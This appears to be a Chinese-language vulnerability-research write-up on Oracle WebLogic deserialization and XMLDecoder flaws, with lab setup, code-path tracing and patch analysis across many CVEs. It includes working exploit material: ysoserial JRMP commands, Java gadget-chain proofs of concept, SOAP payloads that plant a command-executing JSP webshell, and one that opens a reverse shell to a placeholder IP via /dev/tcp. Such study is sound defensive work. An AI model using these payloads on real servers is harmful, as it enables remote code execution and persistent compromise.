1.相关知识
历史漏洞Weblogic较活跃的几个版本包括:Weblogic 10.3.6.0、Weblogic 12.1.3.0、Weblogic 12.2.1.1、Weblogic 12.2.1.2、Weblogic 12.2.1.3
相关漏洞列表如下
CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248(JRMP)、CVE-2018-2628、CVE-2018-2894、CVE-2019-2890、CVE-2020-2551、CVE-2020-2883
利用xml decoded反序列化进行远程代码执行的漏洞
CVE-2017-3506,CVE-2017-10271,CVE-2019-2725
2.动态调试环境搭建
2.1 vulhub镜像
https://badcode.cc/2018/05/20/WebLogic-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/
t3协议模拟
https://github.com/5up3rc/weblogic_cmd
首先安装vulhub,该docker安装方式请见https://vulhub.org/#/environments/,以CVE-2018-2628为例,进入到该文件夹下,sudo chmod 777 docker-compose.yml
,使该文件有写权限,在末尾添加8453端口如下
//docker-compose.yml
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"
然后在CVE-2018-2628文件夹下启动docker:docker-compose up -d
,启动后,进入docker修改文件,命令如下
然后找到如下代码位置,加入红框内的代码
将docker重启,并查看是否开启了8453端口
重启docker
然后
docker cp cve-2018-2628_weblogic_1:/root/Oracle/Middleware/wlserver_10.3 ./WebLogic_jars
将代码拷贝出来,另外拷贝出/root/Oracle/Middleware/modules
。使用idea打开wlserver_10.3,将server/lib和/root/Oracle/Middleware/modules这两个文件夹添加到library。debug选择remote,端口设置为8453,并设置module classpath。点击debug看能否正常开启。ps:如果debug不能正常开启,检查虚拟机是否采用NAT模式进行网络连接,ifconfig查看ip,看主机是否能ping通虚拟机,如果不能ping通,修改VMware Network Adapter VMnet8(控制面板\网络和 Internet\网络连接中可找到)的配置和虚拟机ip同网段,或者改为自动获取。
远程调试效果图
2.2 windows安装
下载相应的文件fmw_12.2.1.4.0_wls.jar,windows安装有很多坑,首先java目录一般都是默认安装在C:\Program Files这个目录下,但是因为这个目录中间有个空格就会造成安装不成功。所以要把Java自定义在一个无空格的安装目录下才行。另外,还可能出现如下问题:
最简单的解决方式是将该jar文件放到java的jdk的bin目录下,再次执行命令
java -jar fmw_12.2.1.4.0_wls.jar
即可。正在提取安装程序过后,Enter一下就能进入到安装的图形界面,基本上都选下一步,配置一下用户名密码。安装完成后到如下目录下开启server。安装后目录
然后进入页面
登录界面
后台页面
3. 历史漏洞
3.1 CVE-2015-4852
server/lib/wlthint3client.jar!/weblogic/rjvm/InboundMsgAbbrev.class,所有T3协议的请求都会在如下方法中处理,没有任何过滤。
readObject
此漏洞之后weblogic开始对反序列化漏洞做黑名单防御,Weblogic的反序列化的点有着三个,黑名单ClassFilter.class也作用于这三个位置:
weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
InboundMsgAbbrev.class::ServerChannelInputStream
isBlackListed()对类进行判断,黑名单如下
黑名单
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
3.2 CVE-2016-0638
根据CVE-2015-4852的黑名单,想要绕过就不能使用黑名单中的ServerChannelInputStream和MsgAbbrevInputStream的readObject进行的反序列化,要在readObject中创建自己的InputStream对象,然后调用readObject()方法进行反序列化的数据的读取。然后就找到了weblogic.jms.common.StreamMessageImpl#readExternal
我们知道只有实现了Serializable接口的类的对象才可以被序列化,而Externalizable则extends Serializable接口,并增加了两个方法writeExternal()和readExternal()。这两个方法会在序列化和反序列化还原的过程中被自动调用,以便执行一些特殊的操作。而且针对于类中不需要被序列化的属性,可以加上transient
关键字,该字段代表生命周期仅在内存中而不会持久化。
server/lib/weblogic.jar!/weblogic/jms/common/StreamMessageImpl.class
该漏洞的补丁方式如下,即在v5获取的时候进行过滤
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
//省略
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)
BufferInputStream is = this.payload.getInputStream();
FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
FilteringObjectInputStream的实现如下:
public class FilteringObjectInputStream extends ObjectInputStream {
public FilteringObjectInputStream(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
return super.resolveClass(descriptor);
}
}
}
和CVE-2015-4852的黑名单过滤方式基本一致
3.3 CVE-2016-3510
此漏洞绕过利用的是weblogic.corba.utils.MarshalledObject,具体位置为server/lib/weblogic.jar!/weblogic/corba/utils/MarshalledObject.class
MarshalledObject会将其封装的数据进行一次序列化
漏洞点
由于该类不位于黑名单中,MarshalledObject就会将我们的封装进去的恶意数据反序列化,可以成功利用。
3.4 CVE-2017-3248
此漏洞实利用的JRMPClient(JRMP是Java RMI的默认基础通信协议),基本原理是通过应用的反序列化漏洞构造一个JRMP的client,去连接我们预置的恶意server,client读取server返回的数据,然后反序列化,触发漏洞。
具体流程为:利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,获取RMI registry,最终将加载的内容利用readObject()进行解析,导致之前序列化的恶意代码执行。
漏洞出现之后,weblogic在WebLogic_Modules\com.bea.core.weblogic.rmi.client_1.11.0.0.jar!\weblogic\rjvm\InboundMsgAbbrev.class
中的补丁如下,在resolveClass和resolveProxyClass都设置了黑名单
private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0
&& ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
Class c = super.resolveClass(descriptor);
//省略
}
}
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {//blacklist
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
当动态代理的代理类被反序列化时会在readObject之前先调用resolveProxyClass,此漏洞补丁黑名单中只有java.rmi.registry.Registry。weblogic官方只是指哪修哪,并没有从根源上解决问题。
补丁绕过思路:
(1)首先补丁只是在resolveProxyClass方法将java.rmi.registry.Registry加入黑名单,没有将UnicastRef加入黑名单。反序列化代理类才会调用resolveProxyClass,那么可以找不使用动态代理的gadget。最后调用到java.rmi.server.RemoteObject#readObject
或者sum.rmi.server.UnicastRef#readExternal
即可。即可以直接反序列化UnicastRef对象,调用sum.rmi.server.UnicastRef#readExternal
(2)使用java.rmi.server.RemoteObjectInvocationHandler之外的中介类,只要这个类继承自java.rmi.server.RemoteObject即可。
(3)使用java.rmi.registry.Registry之外的委托类,如java.rmi.activation.Activator
3.5 CVE-2018-2628
根据上述CVE-2017-3248的绕过思路,CVE-2018-2628有如下几种方法
(1)直接反序列化UnicastRef对象,调用sum.rmi.server.UnicastRef#readExternal
(2)用Activator代替Registry,它们都继承自java.rmi.Remote
攻击
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/success'
python exploit.py 192.168.20.144 7001 ysoserial-master.jar 192.168.20.1 1099 JRMPClient
补丁:
WeblogicFilterConfig.class的黑名单增设了一个sun.rmi.server.UnicastRef,
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{
"org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure",
"org.springframework.transaction.support.AbstractPlatformTransactionManager",
"sun.rmi.server.UnicastRef"};
3.6 CVE-2018-2893
这次绕过是前面两个漏洞的结合,由于weblogic一直没有处理streamMessageImpl,导致CVE-2016-0638 + CVE-2018-2628 = CVE-2018-2893。
3.7 CVE-2018-3245
同样是jrmp相关的绕过,这次使用ReferenceWrapper_Stub来代替RemoteObjectInvocationHandler:
3.8 CVE-2018-3191
涉及版本:10.3.6.0, 12.1.3.0, 12.2.1.3
这个漏洞利用的是jndi,与上面的漏洞不同的,这个漏洞是weblogic自身的gadget,没有使用第三方包(如CommonsCollections)中的gadget,所以危害相对来说更大。
漏洞的入口在com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar!/com/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager.class
JtaTransactionManager.class
跟进initUserTransactionAndTransactionManager:
initUserTransactionAndTransactionManager
继续跟进,直到com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar!/com/bea/core/repackaged/springframework/jndi/JndiTemplate.class
漏洞点
所以我们只要构造userTransactionName属性为恶意jndi地址即可。
补丁补丁主要增加了两个大类黑名单,分别是
java.rmi.server.RemoteObject
和com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager
,RemoteObject用于修补CVE-2018-3245,而AbstractPlatformTransactionManager这个黑名单就是用于防止Spring JNDI注入,从官方以前的黑名单上就能看到org.springframework.transaction.support.AbstractPlatformTransactionManager,但是官方没有想到在com.bea.core.repackaged的相关包还有spring的相关类。其实这两个包中的类实现几乎一样,只是来源于不同的包。
3.9 CVE-2020-2551
JtaTransactionManager的父类AbstractPlatformTransactionManager在之前的补丁中被加入到黑名单列表。
T3协议使用的是resolveClass方法进行过滤,resolveClass方法会读取父类所以T3协议这样设置可以有效过滤。但是IIOP协议不是使用resolveClass方法去判断,它默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表中。这样IIOP协议就可以被用于攻击,反序列化JtaTransactionManager类,而JtaTransactionManager类是存在jndi注入的。
3.10 CVE-2020-2555
网上流传的补丁漏洞代码定位在com.tangosol.util.filter.LimitFilter#toString
调用链
部分相关代码
public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");
sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
if (this.m_comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m_comparator;
sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
} else if (this.m_comparator != null) {
sb.append(", comparator=").append(this.m_comparator);
}
sb.append("])");
return sb.toString();
}
public interface ValueExtractor<T, E>
//ReflectionExtractor#extract
public E extract(T oTarget) {
if (oTarget == null) {
return null;
} else {
Class clz = oTarget.getClass();
try {
Method method = this.m_methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
}
return method.invoke(oTarget, this.m_aoParam);
} catch (NullPointerException var4) {
throw new RuntimeException(this.suggestExtractFailureCause(clz));
} catch (Exception var5) {
throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
}
}
}
//ChainedExtractor#extract
public E extract(Object oTarget) {
ValueExtractor[] aExtractor = this.getExtractors();
int i = 0;
for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
oTarget = aExtractor[i].extract(oTarget);
}
return oTarget;
}
ValueExtractor是一个接口,在IDEA中可以对该名称->go to->implements来查找其实现类
ValueExtractor实现类
payload构造如下(含序列化和反序列化测试代码)
public class payload_2555{
public static void main(String[] args) throws IllegalAccessException, InstantiationException, IOException, NoSuchMethodException, NoSuchFieldException, ClassNotFoundException {
ReflectionExtractor reflectionExtractors[]=new ReflectionExtractor[]{
new ReflectionExtractor("getMethod",new Object[]{"getRuntime",new Class[0]},0),
new ReflectionExtractor("invoke",new Object[]{null, new Object[0]},0),
new ReflectionExtractor("exec",new Object[]{"calc"},0)
};
ChainedExtractor chainedExtractor=new ChainedExtractor(reflectionExtractors);
chainedExtractor.extract(Runtime.class);
LimitFilter limitFilter=new LimitFilter();
limitFilter.setTopAnchor(Runtime.class);
Field m_comparator = LimitFilter.class.getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter,chainedExtractor);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException((Object) limitFilter);
Field val=BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,(Object) limitFilter);
FileOutputStream fileOut =new FileOutputStream("badAttributeValueExpException.ser");
/*序列化操作*/
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(badAttributeValueExpException);
out.close();
fileOut.close();
System.out.println("Serialized data is saved in badAttributeValueExpException.ser");
/*反序列化测试代码*/
FileInputStream fis=new FileInputStream("badAttributeValueExpException.ser");
ObjectInputStream ois=new ObjectInputStream(fis);
ois.readObject();
}
}
chainedExtractor.extract(Runtime.getRuntime());是主动调用extract方法,oTarget是临时参数,不会被存储。所以在反序列化时该参为null不会进入ChainedExtractor.extract()的for循环
limitFilter.setTopAnchor(Runtime.getRuntime());如果用set方法传入,会报错java.io.NotSerializableException: java.lang.Runtime,跟进Runtime类可以发现,Runtime.getRuntime获取的是Runtime对象,其作用和New Runtime相同,但是它没有继承序列化接口
3.11 CVE-2020-2883
CVE-2020-2555的toString被打了补丁
BadAttributeValueExpException.readObject()
com.tangosol.util.filter.LimitFilter.toString() //<--- CVE-2020-2555 patched here
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
//...
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
Runtime.exec()
所以要寻找其他方式调用ChainedExtractor的extract方法。例如ExtractorComparator中的compare方法就对其进行了调用。
public int compare(T o1, T o2) {
Comparable a1 = o1 instanceof Entry ? (Comparable)((Entry)o1).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o1);
Comparable a2 = o2 instanceof Entry ? (Comparable)((Entry)o2).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o2);
if (a1 == null) {
return a2 == null ? 0 : -1;
} else {
return a2 == null ? 1 : a1.compareTo(a2);
}
}
POC如下:
public class payload2883 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, IOException, ClassNotFoundException {
ValueExtractor[] valueExtractors=new ValueExtractor[]{
new ConstantExtractor(Runtime.class),
new ReflectionExtractor("getMethod",new Object[] {"getRuntime",new Class[0]},0),
new ReflectionExtractor("invoke",new Object[] {null,new Class[0]},0),
new ReflectionExtractor("exec",new Object[] {"calc"},0)
};
ChainedExtractor chainedExtractor=new ChainedExtractor(valueExtractors);
ExtractorComparator extractorComparator=new ExtractorComparator();
Field m_extractor=extractorComparator.getClass().getDeclaredField("m_extractor");
m_extractor.setAccessible(true);
m_extractor.set(extractorComparator,chainedExtractor);
PriorityQueue priorityQueue=new PriorityQueue();
// PriorityQueue priorityQueue=new PriorityQueue(2,extractorComparator);
priorityQueue.add("foo");
priorityQueue.add("bar");
Field comparator=priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,extractorComparator);
FileOutputStream fileOut =new FileOutputStream("p.ser");
/*序列化操作*/
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(priorityQueue);
out.close();
fileOut.close();
System.out.println("Serialized data is saved in p.ser");
/*反序列化测试代码*/
FileInputStream fis=new FileInputStream("p.ser");
ObjectInputStream ois=new ObjectInputStream(fis);
ois.readObject();
}
}
payload采坑:
(1)Runtime.getRuntime得到Runtime类不是一个可以被序列化的类,所以要改变2555中所用的写法,否则无法被序列化。
(2)PriorityQueue构造方法
PriorityQueue priorityQueue=new PriorityQueue();
PriorityQueue priorityQueue=new PriorityQueue(2,extractorComparator); 如果在这一步赋值,那么comparator就不为空,会跳到siftUpUsingComparator,而这一步就会运行到弹计算器,并且报错,在序列化操作之前
如果采用不赋参数的做法,则进入siftUpComparable,后续利用反射调用给comparator赋值,序列化。在反序列化时调用comparator,此时已不为空,跳到siftUpUsingComparator,进而运行compare进行弹计算器。
4. 历史漏洞—XML Decoder
调用栈-路由分发过程从server/lib/weblogic.jar!/weblogic/wsee/jaxws/workcontext/WorkContextTube.class
的readHeaderOld方法开始解析xml:
xml解析调用栈如下:
xml解析调用栈
server/lib/weblogic.jar!/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class
中最终由XMLDecoder进行处理。
解析的核心在于XMLDecoder对标签的匹配,通过反射调用相应的方法。
4.1 CVE-2017-3506
漏洞在WLS-WebServices这个组件中,基于WLS wsat模块,核心就是XMLDecoder的反序列化漏洞
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if (var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if (var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}
Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if (var4 != null) {
this.readHeader(var4);
}
}
return super.processRequest(var1);
}
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}
protected void receive(WorkContextInput var1) throws IOException {
WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();
var2.receiveRequest(var1);
}
public void receiveRequest(WorkContextInput var1) throws IOException {
((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1);
}
public void receiveRequest(WorkContextInput var1) throws IOException {
while(true) {
try {
WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1);
if (var2 == WorkContextEntry.NULL_CONTEXT) {
return;
}
String var3 = var2.getName();
this.map.put(var3, var2);
if (debugWorkContext.isDebugEnabled()) {
debugWorkContext.debug("receiveRequest(" + var2.toString() + ")");
}
} catch (ClassNotFoundException var4) {
if (debugWorkContext.isDebugEnabled()) {
debugWorkContext.debug("receiveRequest : ", var4);
}
}
}
}
public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
String var1 = var0.readUTF();
return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0));
}
POC:
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1" >
<void index="0">
<string>calc.exe</string>
</void>
</array>
<void method="start"/>
</object>
</java>
或者
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bb1fe939c9ec5.jsp</string><void method="println">
<string><%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><input type="hidden" path="<%=application.getRealPath("/") %>"><%response.setStatus(404);%></string></void><void method="close"/>
</object>
</java>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
或者
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<%
if("ty".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[102400];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
out.print("test");
%>]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
补丁
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
禁用了object,就出现了CVE-2017-10271,将object换成了void等
4.2 CVE-2017-10271
POC
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/bin/bash -i > /dev/tcp/xxx.xxx.xxx.xxx/8888 0<&1 2>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
上述xml可转成java代码格式如下:
public class payload_3506 {
public static String[] a=new String[3];
public static void main(String[] args) {
try{
a[0]="cmd";
a[1]="/c";
a[2]="calc";
ProcessBuilder processBuilder=new ProcessBuilder(a);
processBuilder.start();
}
catch (Exception e){
System.out.println("Something error");
}
}
}
补丁:
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
}
}
}
4.3 CVE-2019-2725
weblogic\wsee\workarea\WorkAreaServerHandler.class
public boolean handleRequest(MessageContext var1) {
try {
WlMessageContext var2 = WlMessageContext.narrow(var1);
MsgHeaders var3 = var2.getHeaders();
WorkAreaHeader var4 = (WorkAreaHeader)var3.getHeader(WorkAreaHeader.TYPE);
if (var4 != null) {
WorkContextMapInterceptor var5 = WorkContextHelper.getWorkContextHelper().getInterceptor();
var5.receiveRequest(new WorkContextXmlInputAdapter(var4.getInputStream()));
if (verbose) {
Verbose.log("Received WorkAreaHeader " + var4);
}
}
return true;
} catch (IOException var6) {
throw new JAXRPCException("Unable to procees WorkContext:" + var6);
}
}
public void receiveRequest(WorkContextInput var1) throws IOException {
while(true) {
try {
WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1);
if (var2 == WorkContextEntry.NULL_CONTEXT) {
return;
}
String var3 = var2.getName();
this.map.put(var3, var2);
if (debugWorkContext.isDebugEnabled()) {
debugWorkContext.debug("receiveRequest(" + var2.toString() + ")");
}
} catch (ClassNotFoundException var4) {
if (debugWorkContext.isDebugEnabled()) {
debugWorkContext.debug("receiveRequest : ", var4);
}
}
}
}
public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
String var1 = var0.readUTF();
return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0));
}
XMLDecoder的关键点
(1)标签处理
startElement # 处理父标签
ElementHandler
startElement # 处理一级子标签
ElementHandler
...
endElement # 处理一级子标签的结束标签
ElementHandler.getValueObject
endElement # 处理父标签的结束标签
ElementHandler.getValueObject
ElementHandler包含的标签如图所示
ElementHandler包含的标签
具体的标签可查询官方文档
https://www.oracle.com/technetwork/java/persistence3-139471.html
参考资料
https://seaii-blog.com/index.php/2019/12/29/92.html
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#commons
https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704
CVE-2015-4852
http://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/
CVE-2018-2628
https://paper.seebug.org/584/
CVE-2017-3506
https://whip1ash.cn/2018/10/21/weblogic-deserialization/#weblogic-workarea-spi-WorkContextEntryImpl
CVE-2019-2725
https://lucifaer.com/2019/05/10/WebLogic%20wls9-async%E7%BB%84%E4%BB%B6RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-2725%EF%BC%89/
网友评论